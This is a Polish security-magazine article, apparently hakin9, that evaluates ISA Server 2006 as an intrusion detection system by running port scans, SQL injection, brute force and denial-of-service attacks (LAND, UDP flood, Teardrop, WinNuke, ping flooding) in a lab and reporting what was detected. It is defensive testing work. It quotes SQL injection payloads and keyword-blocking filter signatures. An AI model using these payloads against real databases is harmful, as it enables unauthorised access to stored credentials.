ISA Server 2006 posiada swoją własną sieć nazwaną LocalHost. Przykładowo, je-
śli chce się zarządzać zdalnie serwerem ISA z wybranych komputerów za pomocą
Terminal Server, to reguła systemu zezwalająca na przepuszczanie protokołu RDP
powinna pozostać włączona.

Rysunek 7.

Program alert_

PortScan.exe, który uruchomił się
do wykryciu ataku przez serwer ISA

Rysunek 8.

Komunikat zatrzymania monitorowania

background image

ISA 2006 jako IDS/IPS?

hakin9 Nr 2/2008

www.hakin9.org

47

Monitorowanie zdarzeń

W trakcie testów wykorzystywa-
no także konsolę systemową Pod-
gląd Zdarzeń (ang. Event Viewer).
Wszystkie zdarzenia dotyczące ser-
wera ISA – włączenie lub wyłącze-
nie usługi czy wywołanie alarmów
– zapisywane są w dzienniku Ap-
plication
. Nie jest to jednak sposób
monitorowania, który powinien słu-
żyć jako podstawowe źródło wiedzy
o zdarzeniach. Może on jedynie
wspomagać uzyskiwanie informa-
cji o tym, co się w systemie dzie-
je. Ten sposób monitorowania jest
stosowany tylko w celu ukazania,
ze dany alarm został wywołany i in-
formacja o tym zostaje zapisana do
logu systemowego. Taki każdora-
zowy zapis stanowi niepodważalny
dowód na to, że atak miał miejsce –
dzięki temu atakujący nie jest tak do
końca anonimowy. Dodatkowo mamy
do dyspozycji szereg funkcji na po-
ziomie systemu operacyjnego, które
monitorują wykorzystanie zasobów
komputera. Istnieją one zarówno
na poziomie komputera lokalnego, jak
i na poziomie całej domeny. Wszel-

kie ataki oraz związane z nimi ak-
cje, które mają zostać wywołane
w momencie wystąpienia zdarzenia,
mogą być skonfigurowane w taki
sposób, aby przekazywały informa-
cje do Dziennika Zdarzeń.

Przeglądanie

dzienników

W programie ISA Server 2006 two-
rzone są dzienniki, które zawiera-
ją informacje dotyczące aktywności
związanych z zaporą ogniową, Pro-
xy sieci Web oraz modułem Mes-
sage Screener SMTP
. Dzienniki te
mogą być zapisywane do formatów
SQL, MSDE oraz do pliku (z wyjąt-
kiem logu SMTP, który może być za-
pisywany tylko do pliku). W przypad-
ku MSDE log zapisywany jest do pli-
ku o domyślnej nazwie ISALOG_yy-
yymmdd_FWS_nnn.mdf,
gdzie pola
yyyymmdd oraz nnn to odpowiednio
data i numer, pomocne w identyfika-
cji dziennika. W zakładce Logging
istnieje także opcja monitorowania
i obserwowania ruchu w sieci w cza-
sie rzeczywistym. W celu włącze-
nia tej opcji należy kliknąć pole Start

Query. Funkcjonalność ta posłuży do
obserwacji, czy dany atak jest rozpo-
znawany, czy nie i z jakich reguł za-
pory korzysta oraz czy ruch zostanie
dozwolony czy zabroniony.

Raportowanie

Ciekawym rozwiązaniem, bar-
dzo przydatnym w praktyce, jest
możliwość generowania raportów
w oparciu o własne preferencje.
Spośród dostępnych opcji, które
mają zostać zawarte w raporcie,
można wybrać, czy mają one do-
tyczyć np. wykorzystania sieci Web
przez pracowników, charakterystyki
ruchu przechodzącego przez zapo-
rę itp. Poniżej znajduje się przykład
takiego raportu:

Istnieje pięć kategorii raportów,

każda z nich dostarcza szczegóło-
wych informacji o różnych aspektach
działania serwera ISA. Raportowa-
nie posłużyło do analizy danych sta-
tystycznych o ruchu w sieci podczas
wykonywania ataków oraz w czasie
normalnej pracy.

Ataki rozpoznawcze

Rozpoznanie sieci nie jest samo
w sobie atakiem, jest natomiast dzia-
łaniem wykrywanym przez więk-
szość systemów IDS. Atakiem roz-
poznawczym może być na przykład
wyszukiwanie krytycznych punktów
sieci, np. kontrolerów domeny, ser-
werów DNS, otwartych portów, uru-
chomionych usług itd. Działania ta-
kie, często nazywane po prostu gro-

Rysunek 10.

Dowód wykrycia skanowania IP Half Scan na serwerze ISA

Rysunek 11.

Zalogowanie

nieistniejącego użytkownika

Rysunek 12.

Konfigurowanie filtrów

HTTP

Rysunek 9.

Fragment ramki TCP Null na serwerze ISA (Network Monitor)

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

48

madzeniem informacji, zwykle po-
przedzają atak właściwy (rzeczywi-
sty). Większość komercyjnego opro-
gramowania skanującego realizu-
je funkcje wpisujące się w kategorię
ataków rozpoznawczych. Są to:

• badanie infrastruktury sieci, np.

enumeracja komputerów, syste-
mów operacyjnych i działających
aplikacji,

• identyfikacja typowych błędów

zabezpieczeń, np. istnienie kon-
ta Anonymous w usłudze telnet,

• wyszukanie komputerów, które

zawierają znane luki zabezpie-
czeń,

• wykonywanie znanych testów

i ataków oraz sprawdzenie podat-
ności na nie.

Większość dostępnych programów
do skanowania słabych punktów
systemów i sieci wykorzystuje do te-
go celu informacje zawarte w biule-
tynach zabezpieczeń producentów
wybranego oprogramowania oraz
w indeksie CVE1 (Common Vulne-
rabilities and Exposure
s), w którym
znajduje się największy na świecie
zbiór wszystkich dotychczas wykry-
tych luk systemowych. Indeks zawie-
ra także opisy zagrożeń oraz okre-

śla ich poziom wykorzystując do te-
go czteropoziomową skalę: krytycz-
ny, wysoki, średni, niski. CVE zosta-
ło utworzone w 1998 roku przez or-
ganizację MITRE w porozumieniu
z Departamentem Bezpieczeństwa
Wewnętrznego USA. Przykładem
ogólnodostępnego oprogramowa-
nia skanującego, które wykrywa lu-
ki bezpieczeństwa, jest MBSA (Mi-
crosoft Baseline Security Analyzer)
.
Opiera ono swoje działanie na sys-
temach firmy Microsoft i jest bardzo
pomocne w przypadkach, gdy pomi-
nie się którąś z podstawowych zasad
zabezpieczeń.

Skanowanie portów (elementy

fingerprintingu) – jest działaniem
polegającym na ustaleniu, czy sys-
tem nasłuchuje na określonym por-
cie oraz czy port jest zamknięty, czy
filtrowany. Typowe skanowanie por-
tów jest nazywane skanowaniem
połączeniowym – dlatego, ze na
każdym porcie podejmowana jest
próba nawiązania połączenia TCP.
Atak został przeprowadzony przy
wykorzystaniu skanera portów 7th
Sphere, który jest łatwo wykrywal-
ny, ale i bardzo szybki oraz łatwy
w obsłudze. Bardziej zaawanso-
wane skanery zostały wykorzysta-
ne w niniejszych testach wykorzy-

stane do innych celów. Atak na ser-
wer isa.iscg.local można było za-
obserwować na zakładce Logging
w węźle Monitoring w konsoli zarzą-
dzającej ISA Server 2006. Przed
przystąpieniem do ataku należa-
ło skonfigurować alarm, który miał
zostać wyświetlony, gdy następo-
wało zdarzenie. W tym celu należa-
ło w zakładce Alerts w węźle Moni-
toring
z panelu zadań wybrać opcję
Configure Alert Definitions, następ-
nie Add i za pomocą kreatora skon-
figurować opcje zebrane w Tabe-
lach 1 i 2.

Oprócz tego należało także

w zakładce Events zaznaczyć opcje
mówiące, że alarm po wykryciu sy-
gnatur ma być wywoływany natych-
miastowo (Immediately) oraz że in-
formacje o wykryciu mają być zapisy-
wane do Dziennika zdarzeń Windows
(zakładka Actions). Aby można było
łatwiej zidentyfikować zakres portów,
zdefiniowane zostały ich dwie grupy:
tzw. dobrze znane (ang. well known)
porty oraz wszystkie porty. Skano-
wanie poszczególnych grup wywołu-
je alarmy przedstawione na Rysun-
kach 5 i 6.

Każdorazowo po wykryciu ata-

ku wywoływana jest przykłado-
wa aplikacja alert_PortScan.exe.
Podobna konfiguracja dotyczyła
pozostałych ataków, opis jej więc
zostanie w dalszej części artyku-
łu pominięty:

Skutkiem ubocznym okazało się

okno ostrzeżenia, które pojawiło się
w wyniku pozostawionego w zakład-
ce Logging monitorowania (Rysu-
nek 8).

IP half scan to atak, który pole-

ga na wysyłaniu na dany port ser-
wera pakietu SYN. Następnie ser-
wer odpowiada pakietem SYN|ACK
w sytuacji, gdy port jest w stanie na-
słuchu – w przeciwnym przypad-
ku otrzymamy pakiet z ustawionym
bitem RST. Nie chcąc nawiązywać
połączenia, do skanowanej maszy-
ny wysyła się segment z bitem RST,
który nakazuje zerwać połączenie.
Wymiana taka nazywana jest nie-
pełnym uzgadnianiem trójfazowym,
ponieważ brakuje ostatecznego po-
twierdzenia przez klienta. Alarm ge-

Rysunek 13.

Ruch wywołany przeprowadzaniem ataku LAND

Rysunek 14.

Wykrycie ataku LAND

Rysunek 15.

Obniżenie jakości usług sieciowych poprzez zalewanie

pakietami UDP

Rysunek 16.

Zmniejszenie się dostępnej ilości wolnego miejsca na dysku

background image

ISA 2006 jako IDS/IPS?

hakin9 Nr 2/2008

www.hakin9.org

49

nerowany przez systemy IDS infor-
muje, że nastąpiła próba dokona-
nia pełnego procesu nawiązywania
połączenia TCP, ale bez odebrania
pakietów potwierdzających ACK. W
niektórych przypadkach wysłanie
dużej ilości pakietów SYN oraz brak
otrzymywania potwierdzenia usta-
nowienia połączenia może dopro-
wadzić do odmowy jakiejkolwiek ko-
munikacji z komputerem docelowym
– jest to atak typu DoS.

Na porty TCP wysyłane są nastę-

pujące pakiety:

• TCP ping – pakiet zflagą ACK,
• TCP NULL – pakiet, który nie za-

wiera flag, ajedynie numery se-
kwencyjne,

• TCP FIN – pakiet zflagą FIN,

trudny do wykrycia,

• TCP XMAS – pakiet zflagami:

URG, PSH iFIN,

• UDP – specjalny pakiet zpustym

datagramem,

Atak na komputer isa.iscg.local
można było zaobserwować w uru-
chomionym programie Network Mo-
nitor, ponieważ na na zakładce Log-
ging
w węźle Monitoring w konsoli
zarządzającej ISA Server 2006 pa-
kiety nie zostały pokazane. Przed
przystąpieniem do ataku należa-
ło skonfigurować alarm, który miał

zostać wyświetlony po wystąpie-
niu zdarzenia. W tym celu należa-
ło w zakładce Alerts w węźle Moni-
toring
z panelu zadań wybrać opcję
Configure Alert Definitions
, następ-
nie Add i za pomocą kreatora skon-
figurować opcje zaprezentowane w
Tabeli 3.

Oprócz tego ponownie należa-

ło w zakładce Events zaznaczyć

opcje natychmiastowego wywołania
alarmu po wykryciu sygnatur (Im-
mediately)
oraz zapisu do Dzienni-
ka zdarzeń Windows (zakładka Ac-
tions
). Ruch wywołany przez skano-
wanie TCP Null programem nmap
został zarejestrowany przy pomocy
programu Network Monitor na ser-
werze ISA. Pakiety TCP Null nie
zawierają żadnej flagi, co można
zobaczyć na Rysunku 9. Skonfigu-
rowany wcześniej alarm został wy-
wołany zarówno po wykonaniu ska-
nowania przez testy internetowe,
nmap'a, jak i pozostałe typy progra-
mów do testowania. Jego właściwo-
ści można przeglądać w konsoli za-
rządzającej ISA w węźle Monitoring
na zakładce Alerts, wybierając dany
alarm i rozwijając jego gałąź. Alarm
o zdarzeniu IP Half Scan pojawił
się natychmiast po wykonaniu ska-
nowania. Dodatkowo skanowanie
programem nmap wywołało alarm
skanowania dobrze znanych por-
tów. Alarm ten, podobnie jak alarm
IP Half Scan, został skonfigurowany
przed atakiem.

Na Rysunku 10. znajduje się do-

wód wykrycia alarmu przez system
wykrywantia włamań IDS na serwe-
rze ISA.

Rysunek 21.

UDP Flood od różnych nadawców pakietów na ten sam port

Rysunek 22.

Ruch sieciowy wataku Teardrop

Rysunek 23.

Ruch sieciowy wywołany przez atak WinNuke na serwerze

ISA

Rysunek 17.

Błąd wynikający zbraku dostępności wolnego miejsca na

dysku.

Rysunek 18.

Zarządzanie miejscem na dysku ikasowanie nieużywanych

plików

Rysunek 19.

IP Spoofing – atak wykryty przy okazji UDP Flood, adres

podany jako źródło ataku nie istniał

Rysunek 20.

Wykrycie przez ISA Server pakietów UDP na porcie 53.

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

50

Ataki właściwe

Ataki te polegają zwykle na próbie
wykorzystania znanych i nieznanych
luk w systemach oraz aplikacjach.
Mają one swój cel, którym najczę-
ściej jest chęć zdobycia określonych
informacji. Atakiem takim można na-
zwać także sam test podatności, któ-
ry wykrywa, czy komputer lub urzą-
dzenie sieciowe jest odporne na ty-
powe zagrożenia. W odróżnieniu od
ataków rozpoznawczych, ataki wła-
ściwe (włączając w to testy pene-
tracyjne) stanowią formę oszacowa-
nia skuteczności zabezpieczeń sieci,
gdyż ujawniane są zwykle cechy po-
mijane przez oprogramowanie ska-
nujące lub też w ogóle niezwiązane
z technologią, np. nowo odkryte lu-
ki (wykrycie następuje na bazie sy-
gnatur) czy podatności dotyczące lu-
dzi i procedur. Należy nadmienić, że
funkcjonalność oprogramowania wy-
korzystywanego do testów jest ogra-
niczona – wynika to z faktu, że wy-
krywane są słabości, które zostały
już poznane.

Najczęściej spotykanym atakiem

na serwery baz danych jest iniek-
cja SQL (ang. SQL Injection). Atak
ten następuje wtedy, gdy napastnik
jest w stanie modyfikować kweren-
dy, które są przetwarzane przez ser-
wer tak, aby przesłać w nich swoje
dane do serwera. Atak wykonany w
niniejszym artykule polegał na wy-
korzystaniu prostego systemu logo-
wania (login.dll) opublikowanego na
serwerze ISA do wpisania frazy SQL
Injection
tak, aby uzyskać dostęp do
informacji na serwerze baz danych
Microsoft SQL Server 2005 oraz
poprzez dostęp ten zdobyć upraw-
nienia administratora. Atak został
przeprowadzony niezależnie od typu
uwierzytelniania, gdyż baza zarów-
no dla uwierzytelniania zintegrowa-
nego, jak i dla uwierzytelniania SQL
reaguje tak samo. Wykonanie ataku
rozpoczęło się od wpisania wszyst-
kim znanej frazy ‘) OR (1=1)--. Efekt
nie jest trudny do przewidzenia – po
uwierzytelnieniu się, wykorzystując
słabości bazy, można było przeglą-
dać przechowywane w niej dane.

ISA Server 2006 może monitoro-

wać zawartość pakietów pod kątem

skonfigurowanych wcześniej filtrów.
W wielu rozwiązaniach Firewall/IDS
nie ma wbudowanych zapór ognio-
wych aplikacji internetowych, serwer
ISA również posiada ten moduł sła-
bo rozwinięty. Nie zmienia to jednak
faktu, że ruch określony przez filtr
można wykrywać. Reguły filtrowania
HTTP konfiguruje się na regułach
zapory, które obsługują ten ruch. Dla

przykładu (Rysunek 12.) zdefiniowa-
ne zostały sygnatury, które zawierają
typową dla języka SQL składnię. Fil-
try określają, jakie wartości nie mo-
gą znaleźć się w pakietach.

Od tej pory za każdym razem,

gdy w pakiecie HTTP będzie poja-
wiało się słowo np. SELECT, ruch
nie będzie przepuszczany. W oknie
dostępu do bazy wpisano ’ SELECT

Tabela 1.

Konfiguracja alarmu Port Scanning Well Known

Opcja

Wartość

[General] Name

Port Scanning Well Known

[General] Category

Security

[General] Severity

Warning

[Events] Event

Intrusion detected

[Events] Additional condition Well-known port scan attack

[Actions] Run aprogram

%SYSTEMDRIVE% \alert_PortScan.exe

Tabela 2.

Konfiguracja alarmu Port Scanning Other

Opcja

Wartość

[General] Name

Port Scanning Other

[General] Category

Security

[General] Severity

Warning

[Events] Event

Intrusion detected

[Events] Additional condition

All port scan attack

[Actions] Run aprogram

%SYSTEMDRIVE%\alert_PortScan-
ning.exe

Tabela 3.

Konfiguracja alarmu IP Half-Scan

Opcja

Wartość

[General] Name

IP Half Scan(ning)

[General] Category

Security

[General] Severity

Warning

[Events] Event

Intrusion detected

[Events] Additional condition

IP half scan attack

[Actions] Run aprogram

%SYSTEMDRIVE%\alert_IPHal-
fScan.exe

background image

ISA 2006 jako IDS/IPS?

hakin9 Nr 2/2008

www.hakin9.org

51

login, password FROM users--
i ruch został zablokowany. Aby in-
formacje o zawartości pakietów po-
jawiały się w zakładce Logging, na-
leży skonfigurować filtr monitorowa-
nia tak, aby wyświetlał pakiety, któ-
re zawierają ciągi znaków zabro-
nione przez filtr bezpieczeństwa
HTTP. ISA Server 2006 nie posiada
reguły, która umożliwiłaby pojawia-
nie się w zakładce Alerts informacji
o każdorazowym odrzuceniu pakie-
tów przez filtr HTTP. W tym miejscu
warto również uwzględnić zabez-
pieczenie się przed zdalnym uru-
chomieniem xp_cmdshell (sp_con-
figure)
.

Atak Brute Force sam w so-

bie jest algorytmem, który spraw-
dza wszystkie możliwe kombinacje
w poszukiwaniu rozwiązania. Moż-
na podzielić go na dwie odrębne
części: atak słownikowy oraz pró-
bowanie wszystkich możliwych
kombinacji haseł w określonej prze-

strzeni. Atak ten może być skiero-
wany przeciwko systemom online
lub hasłom innego typu, które zo-
stały wydobyte inną metodą. Me-
toda Brute Force jest nieoptymal-
na, za to najprostsza do zaimple-
mentowania, gdyż sprawdzane są
po prostu wszystkie kombinacje
znakowe – może to potrwać jednak
bardzo długo. W przypadku prze-
strzeni znaków literowych bez roz-
różniania wielkości liter (26) dla ha-
sła 7-znakowego, liczba możliwych
haseł to ok. 8.031E9. W zależności
od kontekstu, w którym termin bru-
te force zostaje użyty, może mieć
on nieznacznie różne definicje. Im
więcej możliwych kombinacji, tym
czas potrzebny na uzyskanie prawi-
dłowej sekwencji znaków jest dłuż-
szy – dzięki temu ISA będzie w sta-
nie rozpoznać, że bieżący atak to
brute force. Atak słownikowy w te-
stach trwał bardzo krótko (57 se-
kund). Założenie było takie, aby
ISA była w stanie zatrzymać okre-
ślony ruch, nawet jeśli weryfikacja
jego typu nie przebiegnie prawidło-
wo. W przypadku ataku brute force
czas wyniósł 20 minut i 14 sekund.
Hasło do serwera FTP nie spełnia-
ło wymogów silnego hasła. Ataki ty-
pu łamanie haseł na określony ser-
wer można wykrywać na wiele spo-
sobów: poprzez aplikację urucho-

mioną na serwerze, śledzenie ru-
chu sieciowego czy monitorowa-
nie na systemie IDS. ISA Server
nie ma wbudowanego mechanizmu
analizującego dokładnie zachowa-
nia serwera FTP, tylko zezwala na
ruch lub go blokuje. Pozostałe usta-
wienia zależą już od danej aplika-
cji, w tym przypadku od oprogramo-
wania serwera FTP. Atak typu brute
force można utrudnić, ustanawiając
limit liczby jednoczesnych połączeń
dla jednego użytkownika, np. usta-
wiając go na 3 rozciągamy w cza-
sie próby wykonywane przez pro-
gram łamiący hasła, gdyż w danym
momencie mogą być dokonane tyl-
ko 3 porównania; metoda ta utrud-
nia nieco wykrycie ataku. Podczas
włamania ISA Server 2006 monito-
rował tylko ruch w sieci. Ruch FTP
ograniczał się do wywołania regu-
ły publikującej serwer ftp.iscg.lo-
cal: Initiated Connection oraz Clo-
sed Connection (połączenie zaini-
cjowane i zamknięte), które odpo-
wiadało za przesłanie próbnych da-
nych uwierzytelniających do ser-
wera FTP. Nie od dziś wiadomo,
że korzystanie z serwerów FTP
z domyślnymi ustawieniami nie jest
najlepszym pomysłem. Warto do-
dać również, że w przypadku dłu-
gich haseł atak brute force będzie
trwał bardzo długo. ISA nie wy-
kryła tego ataku, gdyż był on mało
agresywny. Nie wynikało to jednak
z ustawień serwera, tylko z konfigu-
racji aplikacji FTP.

Ataki typu odmowa

dostępu do usługi

Ataki te zasługują na odrębne po-
traktowanie, gdyż dzielą się na wie-
le podtypów, a od ataków właści-
wych różnią się głównie motywacją
atakującego. Ataki te mają na ce-
lu uniemożliwienie działania syste-
mów komputerowych lub usług sie-
ciowych poprzez zajęcie wszystkich
wolnych zasobów lub też poprzez
wykorzystanie innych technik unie-
możliwiających prawidłowe funkcjo-
nowanie. Są zazwyczaj łatwo wykry-
wane przez systemy IDS i nie muszą
w istocie naruszać bezpieczeństwa
sieci czy systemów, jednak nadal

Rysunek 24.

Fragment ramki ataku WinNuke na serwer ISA (Network

Monitor)

Testowanie

Systemy IDS rozpoznają trzy główne
typy ataków:

• ataki rozpoznawcze,
• ataki właściwe,
• ataki typu odmowa dostępu do

usługi.

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

52

mogą powodować poważne konse-
kwencje związane z zabezpiecze-
niami. Bardziej wyrafinowane ata-
ki mogą polegać na uniemożliwie-
niu uaktualniania programów anty-
wirusowych, pobierania poprawek
zabezpieczeń lub sygnatur dla sys-
temów IDS.

Atak LAND jest atakiem odmo-

wy usługi, polegającym na wysłaniu
pakietu tak zmodyfikowanego, żeby
adres i port nadawcy oraz adres i
port odbiorcy były takie same. Atak
ten powoduje zablokowanie stosu
TCP/IP. Atak jest skuteczny wobec
maszyn, które znajdują się w tej sa-
mej sieci lokalnej, gdyż w Internecie
pakiety te traktowane są jako uszko-
dzone – a co za tym idzie, odrzuca-
ne. Atak ten nazywany jest także
loopback SYN i wykorzystuje IP
Spoofing, czyli podszywanie się pod
inny komputer (wykorzystując jego
adres IP). Polega na nawiązywa-
niu połączenia TCP, które musi być
odpowiednio zainicjalizowane. Wy-
syłany jest pakiet SYN z adresem
atakowanego komputera jako adre-
sem źródłowym. Zaatakowany kom-
puter po otrzymaniu pakietu wysyła
sam do siebie pakiet z ustawionymi
bitami SYN i ACK. Połączenie nie

jest przerywane, ponieważ otrzy-
mano pakiet ACK. Idea ataku pole-
ga na tym, że nie jest sprawdzane
ustawienie bitu SYN. Ze względu na
niezgodność sekwencyjnych nume-
rów otrzymanego pakietu, kompu-
ter ponawia próbę nawiązania po-
łączenia, wysyłając kolejny pakiet
z bitami SYN i ACK. Takie działa-
nie prowadzi do powstania pętli, w
której komputer prowadzi komuni-
kację sam ze sobą. Atak LAND zo-
stał wykonany z komputera o ad-
resie IP 10.10.10.100 (dc.iscg.lo-
cal)
na bramę wewnętrzną ISA Se-
rver oraz z tego samego kompute-
ra na serwer WWW (iis.iscg.local),
który został zalany pakietami z fla-
gą SYN, nie czekając na odpowiedź
zawierającą flagę ACK. Podczas
testów na serwerze ISA utworzo-
no na czas ataku regułę zezwalają-
cą na ruch na porcie 139. W regule
uwzględnione zostały następujące
protokoły: NetBios Datagram, Net-
Bios Name Service i NetBios Ses-
sion
. Atak ten w znacznym stopniu
obciążył zasoby serwera ISA oraz
serwera WWW.

UDP Bomb i UDP Flood są ata-

kami, które polegają na wysyłaniu
nieprawidłowych pakietów (z nie-
właściwymi wartościami w odpo-
wiednich polach) lub wysłanie ich
w nadmiarze. Ataki te kwalifikują
się do kategorii odmowy usługi (De-

nial of Service), gdyż wykonanie ich
może obniżyć wydajność atakowa-
nego systemu, a nawet doprowa-
dzić do jego załamania się. Atak
UDP Bomb/Flood został wykona-
ny z komputera z sieci wewnętrznej
na bramę wewnętrzną ISA Server.
Do tego celu wykorzystano opro-
gramowanie zalewające pakietami
UDP wybrane porty z losowo wyge-
nerowanych adresów IP. Przepro-
wadzenie ataku UDP Flood na ser-
wer ISA sprawiło, że przejęte zosta-
ły zasoby tego serwera. Na począt-
ku w katalogu głównym dysku by-
ło 3,5 GB wolnego miejsca, po ok.
20 minutach na dysku było już wol-
ne zaledwie 500MB. Stan wykorzy-
stania zasobów zweryfikowano pro-
gramem Performance Monitor. Dy-
namicznie zmniejszająca się ilość
wolnego miejsca na dysku oraz peł-
ne wykorzystanie procesora przy-
czyniły się do obniżenia wydajno-
ści systemu, które ISA Server 2006
potrafił wykryć (widać to na Rysun-
kach 15-16.).

Atak na komputer isa.iscg.local

można było zaobserwować – po-
dobnie, jak w przypadku poprzed-
nich ataków – w konsoli zarządza-
jącej ISA Server 2006, na zakładce
Logging w węźle Monitoring. Skon-
figurowany uprzednio alarm UDP
Bomb
nie został wywołany, uru-
chomione zostały natomiast inne
alarmy, np. IP Spoofing, co dowo-
dzi, że atak następował z losowo
wygenerowanych adresów IP. Na
Rysunku 19. znajduje się komuni-
kat alarmu.

W przypadku, gdy serwer był za-

lewany pakietami z jednego adresu
IP, ruch był blokowany, jednak opro-
gramowanie ISA nie wyświetliło żad-

Rysunek 25.

Dowód wykrycia ataku WinNuke na serwerze ISA

Rysunek 26.

Informacja o ataku

WinNuke w Dzienniku Zdarzeń

Rysunek 27.

Ruch wygenerowany podczas ataku Ping Flooding

Rysunek 28.

Zablokowanie ruchu od hosta wykonującego atak Ping

Flooding

background image

ISA 2006 jako IDS/IPS?

hakin9 Nr 2/2008

www.hakin9.org

53

Zamówienia: www.hakin9.org pren@software.com.pl tel. 0-22 427-36-93

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

54

nego komunikatu. Podobna sytuacja
miała miejsce, gdy atakowany był
określony port.

Atak Teardrop modyfikuje na-

główki IP i ustawia w nich znaczni-
ki przesunięcia (ang. offset) w ta-
ki sposób, aby się na siebie nakła-
dały. Funkcją znaczników jest infor-
mowanie systemu o liczbie bajtów
oraz o kolejności składania przesy-
łanych pakietów. W przypadku pa-
kietu o wielkości 4100 bajtów kolej-
ne pofragmentowane pakiety powin-
ny mieć w polu nagłówka wartości
np.: 1-1500, 1501-3000, 3001-4100.
Teardrop polega na takim ustawieniu
tych wartości, aby kolejne fragmen-
ty na siebie zachodziły, np. 1-1500,
1500-3000, 2000-3500. Uniemożli-
wia to odebranie pakietu, gdyż ostat-
ni fragment zawiera wartość niższą
niż rzeczywista wielkość pakietu.
Komputer – odbiorca nie jest w sta-
nie poskładać części pakietu, uru-
chamiana jest obsługa błędów re-
konstrukcji, która obciąża procesor
– w sytuacji krytycznej może nastą-
pić nawet restart maszyny. Atak nie
wywołał żadnego alarmu na serwe-
rze ISA. Nie wykryto również na za-
kładce Logging ruchu związanego
z tym atakiem. Pakiety można było
natomiast przechwycić programem
Network Monitor (Rysunek 22.).

Szczególną uwagę należy zwró-

cić na pakiety, w których znaczniki
przesunięcia pokrywają się. W za-
obserwowanym ruchu zdarzały się
pakiety, których numery sekwen-
cyjne pokrywały się, zdarzały się
też takie, które miały ustawioną fla-
gę, zabraniającą fragmentacji. Pa-
kiety takie mają ustawiony znacz-
nik w polu Fragmentation Summary
(16384, 0x4000): Cannot fragment
datagram.

Atak WinNuke (Windows Out-

of-Band Attack) jest znany z cza-
sów systemów operacyjnych Mi-
crosoft Windows 95, Microsoft Win-
dows NT oraz Microsoft Windows
3.1x. Jest atakiem typu DoS i po-
lega na wysyłaniu specjalnie spre-
parowanego pakietu OOB (Out of
Band
) na port 139 (NetBIOS) do
komputerów, na których urucho-
miony jest ten system. W rezulta-

cie komputer się zawiesza i poja-
wia się niebieski ekran z informa-
cją o błędzie. Windows NT załamu-
je się i zrzuca całą pamięć do pliku,
pozostałe wymienione systemy za-
chowują się różnie w zależności od
wersji. Atak ten nie ma na celu spo-
wodowania zniszczeń, jedynie nie-
zapisane dane zostaną utracone.
Pakiety OOB są obsługiwane przez
protokół TCP. Są przekazywane po-
za normalnym strumieniem danych
i ich flaga oznacza, że mają być ob-
służone poza kolejnością. Ostatni
przesyłany bajt w segmencie jest
wskazywany przez pole URGENT
POINTER
– pozwala to na ziden-
tyfikowanie końca bloku danych.
Przed przystąpieniem do ataku na-
leżało skonfigurować alarm, który
miał zostać wyświetlony, gdy na-
stępowało odpowiednie zdarzenie.
Atak WinNuke korzystał z wcze-
śniej utworzonej reguły inicjując
połączenie na porcie 139, następ-
nie wysyłane były pakiety, a po-
tem połączenie zostało zamknięte.
Rysunek 23. obrazuje zrzut ekranu
z zakładki Logging.

Ruch ten został także zaobser-

wowany w programie Network Mo-
nitor
na serwerze ISA oraz Ethereal
na dc.iscg.local (kontroler domeny).
Program WinNuke wysyła pakie-
ty, które zawierają wskaźnik Urgent
Pointer
, oprócz tego dołączana jest
wiadomość sesji, widoczna na Ry-
sunku 24.

Skonfigurowany wcześniej alarm

został wywołany natychmiast po wy-
konaniu ataku – pokazuje to Rysu-
nek 25.

W sytuacji wykrycia ataku dru-

gim wywoływanym zdarzeniem był

wpis do Dziennika zdarzeń do logów
aplikacyjnych. Wpis ten zatytułowa-
ny jest Microsoft Firewall, a jego ob-
sługą zajmuje się usługa o tej samej
nazwie. Wpis w logu obejrzeć można
na Rysunku 26.

Atak Ping of Death polega

na wysłaniu do komputera docelo-
wego pofragmentowanego datagra-
mu ICMP Echo Request, w którym
łączna długość przekracza maksy-
malną długość pakietu, jaką moż-
na wpisać do nagłówka IP, czyli 65
535 bajtów. Nie wszystkie systemy
są w stanie przetworzyć taki pakiet,
powoduje to zawieszenie się lub re-
start maszyny. Ping Flooding pole-
ga na zalewaniu komputera pakie-
tami ICMP (ICMP Echo Request).
Komputer atakowany odpowia-
da na każde zapytanie za pomo-
cą pakietu zwrotnego ICMP (ICMP
Echo Reply
), co może prowadzić
do przeciążenia jego łącza. Atak
ten ma sens w przypadku, gdy jest
przeprowadzany z komputera, któ-
ry posiada łącze o większej prze-
pustowości niż atakowany kompu-
ter. Atak ten można także przepro-
wadzić z wielu komputerów, będzie
się wtedy klasyfikował do ataków
DDoS, czyli rozproszonych ataków
odmowy usługi. Do ataków tych zo-
stały wykorzystane narzędzia po-
zwalające na modyfikowanie roz-
miarów pakietów oraz określanie,
ile ich ma zostać wysłanych i z jaką
częstotliwością. ISA Server odebrał
125024080 pakietów ICMP o róż-
nych parametrach wielkościowych;
ilość tę uznano za wystarczającą
do przeprowadzenia analizy sytu-
acji. Atak nie wywołał alarmu Ping
of Death
, wywołał natomiast pozo-

Rysunek 29.

Przekroczenie liczby połączeń dla reguły PING

Rysunek 30.

Zablokowanie odpowiedzi ICMP

background image

ISA 2006 jako IDS/IPS?

hakin9 Nr 2/2008

www.hakin9.org

55

background image

hakin9 Nr 2/2008

www.hakin9.org

Obrona

56

stałe, które w ogólnym ujęciu mia-
ły za zadanie blokować ruch przy-
chodzący od komputera, na którym
uruchomiony był flooder. Oznacza
to, że administrator powinien szu-
kać przyczyny obniżenia wydajno-
ści korzystając z programów ze-
wnętrznych, takich jak np. Network
Monitor
oraz Performance Monitor.
Poniższy log został pobrany z ISA
Server 2006 (Logging
). Na atak

wskazuje jedynie ilość powtórzeń
wysłania tego samego pakietu. Jak
widać na Rysunku 27, rejestrowane
jest każde powtórzenie.

W czasie bombardowania pa-

kietami ICMP zauważono lekki spa-
dek wydajności serwera ISA. Rysun-
ki 28-30. przedstawiają alarmy, któ-
re zostały wywołane tym atakiem.
Do ataku tego w czasie testów nie
przywiązywano większej wagi, gdyż

nie jest on uznawany powszechnie
jako poważne zagrożenie.

Podsumowanie

Godząc się na pewne odstęp-
stwa od idealnego stanu bezpie-
czeństwa zwiększamy funkcjonal-
ność sieci, zmniejszając jednak-
że jej poziom ochrony – podob-
nie, jak otwierając dodatkowe por-
ty na zaporze ogniowej zwiększa-

Tabela 4a.

Podsumowanie testów

Skanowanie portów i

finger- printing

IP Half Scan

SQL Injection

LAND

CVE

Brak (to nie jest podat-
ność)

CVE-2001-0773, CVE-
1999-0116

CVE-2002-0645 (dla
Microsoft SQL Server
2000)

CVE-1999-0016, CVE-
2005-0688

Skutek

